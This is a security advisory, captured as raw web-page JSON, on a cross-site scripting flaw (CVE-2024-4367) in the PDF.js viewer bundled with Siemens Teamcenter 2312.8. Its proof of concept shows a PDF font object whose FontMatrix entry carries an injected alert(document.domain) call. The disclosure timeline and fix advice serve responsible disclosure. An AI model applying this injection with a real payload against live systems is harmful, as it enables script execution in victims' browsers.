Affected Version<\/strong>: 2312.8
Vulnerability Type<\/strong>: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79)
Security Risk<\/strong>: HIGH
Vendor<\/strong>: Siemens
Vendor URL<\/strong>: https:\/\/plm.sw.siemens.com\/de-DE\/teamcenter\/
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed<\/a>
CVE Number<\/strong>: CVE-2024-4367<\/a>
CVE Link<\/strong>: https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-4367
Advisory ID<\/strong>: usd-2025-37<\/p>\n
Description<\/h3>\n
An outdated software version of PDF.js with known vulnerabilities is in use.<\/p>\n
The use of software with known security vulnerabilities represents a security risk, as details on how to exploit these vulnerabilities are often published as well.<\/p>\n
As a result, the vulnerable software can be compromised with little effort, even by attackers with limited technical capability.<\/p>\n
Proof of Concept<\/h3>\n
The PDF.js version used in Siemens Teamcenter is vulnerable to CVE-2024-4367 which leads to arbitrary JavaScript execution.
To proof this, the following payload is injected into a malicious PDF document:<\/p>\n
<\/span>alert(document.domain)<\/pre>\n<\/div>\nIn order to make the vulnerability trigger, the payload has to be injected into the FontMatrix<\/strong> property of the PDF:<\/p>\n\n<\/span>[...]<\/span>\n<<<\/span>\n\/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]<\/span>\n\/Type\/Font<\/span>\n\/BaseFont\/PAXEKO+SourceSansPro-Bold<\/span>\n\/LastChar 102<\/span>\n\/Encoding\/WinAnsiEncoding<\/span>\n\/FontMatrix [0.1 0 0 0.1 0 (1\\);<\/span>\nalert\\(document.domain\\)<\/span>\n<\/span>\/\/)]<\/span>\n\/Subtype\/Type1<\/span>\n\/FirstChar 65<\/span>\n\/FontDescriptor 9 0 R<\/span>\n>><\/span>\n[...]<\/span><\/pre>\n<\/div>\nAfterwards, the malicious PDF was uploaded as an attachment in one of the objects:
![\"\"](\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/07\/xss_upload_37.png\")
<\/p>\n
If the attachment is now displayed in the preview with the PDF.js library, the payload triggers.
![\"\"](\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/07\/xss_triggered_37.png\")
<\/p>\n
Fix<\/h3>\n
It is recommended to upgrade the vulnerable software PDF.js immediately to the latest stable release.<\/p>\n
References<\/h3>\n\n- https:\/\/owasp.org\/www-community\/attacks\/xss\/<\/a><\/li>\n
- https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/Cross_Site_Scripting_Prevention_Cheat_Sheet<\/a><\/li>\n<\/ul>\n
Timeline<\/h3>\n\n- 2025-07-28<\/strong>: Vulnerabilities initially reported via Siemens' vulnerability handling and disclosure process.<\/li>\n
- 2025-08-20<\/strong>: Siemens report that they could reproduce the findings and are working on a fix.<\/li>\n
- 2026-05-12<\/strong>: Siemens releases a fix and publishes an advisory about the findings, see https:\/\/cert-portal.siemens.com\/productcert\/html\/ssa-827383.html<\/a><\/li>\n
- 2026-07-14<\/strong>: This advisory is published.<\/li>\n<\/ul>\n
Credits<\/h3>\n
This security vulnerability was identified by Robin Plugge of usd AG.<\/p>\n
[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
usd-2025-37 | Teamcenter 2312.8 - Cross-Site Scripting Product: TeamcenterAffected Version: 2312.8Vulnerability Type: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79)Security Risk: HIGHVendor: SiemensVendor URL: https:\/\/plm.sw.siemens.com\/de-DE\/teamcenter\/Vendor acknowledged vulnerability: YesVendor Status: FixedCVE Number: CVE-2024-4367CVE Link: https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-4367Advisory ID: usd-2025-37 Description An outdated software version of PDF.js with known vulnerabilities is in use. The use of […]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-25276","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/25276","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=25276"}],"version-history":[{"count":4,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/25276\/revisions"}],"predecessor-version":[{"id":25283,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/25276\/revisions\/25283"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=25276"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}